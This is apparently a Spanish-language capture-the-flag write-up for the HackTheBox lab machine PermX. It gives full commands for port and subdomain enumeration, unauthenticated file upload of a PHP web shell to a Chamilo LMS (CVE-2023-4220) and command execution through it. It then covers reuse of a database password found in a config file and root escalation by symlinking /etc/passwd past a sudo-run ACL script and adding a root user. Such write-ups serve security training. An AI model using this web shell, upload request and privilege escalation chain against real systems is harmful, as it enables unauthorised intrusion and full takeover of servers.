PermX
PermX
Enumeración de Puertos
- Escaneo de todos los puertos con Nmap:
/usr/lib/nmap/nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG allPorts 10.10.11.23
# <span style="color:#ff69b4">Puertos escaneados:</span> TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
<span style="color:#ff69b4">Host:</span> 10.10.11.23 ()
<span style="color:#ff69b4">Estado:</span> Up
<span style="color:#ff69b4">Puertos abiertos:</span> 22/open/tcp//ssh///, 80/open/tcp//http///
- Escaneo Dirigido con Nmap:
/usr/lib/nmap/nmap --privileged -p22,80 -sCV -oN targeted 10.10.11.23
Nmap scan report for 10.10.11.23
<span style="color:#ff69b4">Host is up:</span> (0.098s latency)
<span style="color:#ffce33">Puertos y servicios detectados:</span>
<span style="color:#add8e6">PORT STATE SERVICE VERSION</span>
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb
<span style="color:#ff69b4">Información del servicio:</span> Host: 127.0.0.1; OS: Linux;
<span style="color:#add8e6">CPE:</span> cpe:/o:linux:linux_kernel
Service detection performed.
Enumeración web
Identificamos tecnologías y configuraciones del objetivo con whatweb:
❯ whatweb permx.htb
http://permx.htb [200 OK] Apache[2.4.52], Bootstrap, Country[RESERVED][ZZ], Email[permx@htb.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], JQuery[3.4.1], Script, Title[eLEARNING]
Enumeración de Subdominios
Con Gobuster
, descubrimos un subdominio:
❯ gobuster vhost -u http://permx.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 200 -r 302 --append-domain
===============================================================
Found: lms.permx.htb Status: 200 [Size: 19347]
Opciones de Gobuster
- vhost: Busca subdominios o virtual hosts en el dominio.
- -u: Especifica la URL de destino.
- -w: Especifica la wordlist usada para la enumeración.
- -t: Número de hilos para ejecutar las solicitudes.
- -r: Evita seguir redirecciones.
- –append-domain: Agrega el dominio base a los subdominios probados.
Explotación
El subdominio redirige a una instalación de Chamilo. Con ‘searchsploit chamilo’ podemos buscar todos los exploits disponibles en Exploit-DB que están relacionados con Chamilo.
Si hacemos una busqueda en Google encontramos este (CVE-2023-4220) Chamilo LMS Unauthenticated Big Upload File Remote Code Execution
Creando un Payload
Generamos un archivo malicioso rce.php:
<?php system($_GET['cmd']); ?>
- system(): Ejecuta comandos del sistema.
- $_GET[‘cmd’]: Captura el valor del parámetro cmd enviado en la URL.
Por ejemplo, acceder a: rce.php?cmd=ls ejecutará el comando ls (listado de archivos) en el servidor.
Subida del Payload
Subimos el archivo usando curl:
❯ curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
- -F: Envía un archivo como formulario en el cuerpo de la solicitud.
- @rce.php: Especifica el archivo a subir.
Confirmamos su ejecución con:
❯ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=whoami'
www-data
Obteniendo Reverse Shell
Montamos un servidor HTTP local y generamos un index.html para ejecutar un script de reverse shell:
Ahora vamos a crear un index.html que es lo que busca la página y dentro vamos a hacer un script de bash que realiza una conexión de reverse shell hacia el servidor .
Tratamiento de la tty:
1. script /dev/null -c bash
2. ^Z
3. stty raw -echo; fg
4. reset xterm
Después de esto podemos hacer ^C sin que se nos caiga. Para que el Ctrl+L me limpie la pantalla
- export TERM=xterm
Propoción al ver el nano
- stty rows 44 columns 184
Post-Explotación
Accediendo a la Base de Datos
Buscamos credenciales en los archivos de configuración:
www-data@permx:/var/www/chamilo$ find . -name \*config\*
En configuration.php, encontramos credenciales para la base de datos:
www-data@permx:/var/www/chamilo$ cat ./app/config/configuration.php | less -S
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
Accedemos con:
www-data@permx:/var/www/chamilo$ mysql -uchamilo -p
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| chamilo |
| information_schema |
+--------------------+
2 rows in set (0.000 sec)
MariaDB [(none)]>
Acceso al Usuario Local
Encuentro una tabla con 2 usuarios y su contraseña encriptada pero antes de intentar crackearla voy a probar la contraseña con la que he accedido a la base de datos a conectarme al usuario mtz.
Después de probar las credenciales directamente para el usuario mtz, obtenemos acceso y al contenido de user.txt.
mtz@permx:~$ cat user.txt
786a393e7a5cc729c759aea6483dacbc
Escalada de Privilegios
Sudo y ACL Script
Revisamos privilegios sudo:
mtz@permx:~$ cd /root/
bash: cd: /root/: Permission denied
mtz@permx:~$ id
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
Veo que a nivel de sudoers mtz tiene permisos para ejecutar el script /opt/acl.sh
como root sin necesidad de contraseña.
mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
El script restringe modificaciones a archivos fuera de /home/mtz/.
Voy a intentar dar permisos al archivo /etc/passwd
mtz@permx:~$ ls -l /opt/acl.sh
-rwxr-xr-x 1 root root 419 Jun 5 11:58 /opt/acl.sh
mtz@permx:~$ sudo /opt/acl.sh
Usage: /opt/acl.sh user perm file
mtz@permx:~$ sudo /opt/acl.sh mtz rxw /etc/passwd
Access denied.
Pero el script lo bloqueó porque no está en /home/mtz/.
Bypass con Enlace Simbólico
Voy a crear un enlace simbólico a /etc/passwd en /home/mtz/
mtz@permx:~$ ln -s /etc/passwd passwd
mtz@permx:~$ sudo /opt/acl.sh mtz rxw /home/mtz/passwd
Ahora voy a usar ‘openssl passwd’ para convertir la contraseña en un hash que puede usarse para almacenar la contraseña de manera segura, sin mostrarla en texto claro.
mtz@permx:~$ openssl passwd
Password:
Verifying - Password:
$1$jMhrugue$TM9roeBjO3Np3zhZuYh7S/
mtz@permx:~$ nano passwd
Editamos /etc/passwd para agregar un usuario root:
Root Flag
root@permx:~# cat root.txt
354bc4c0eb9bb215a79b62146f3aca96
root@permx:~#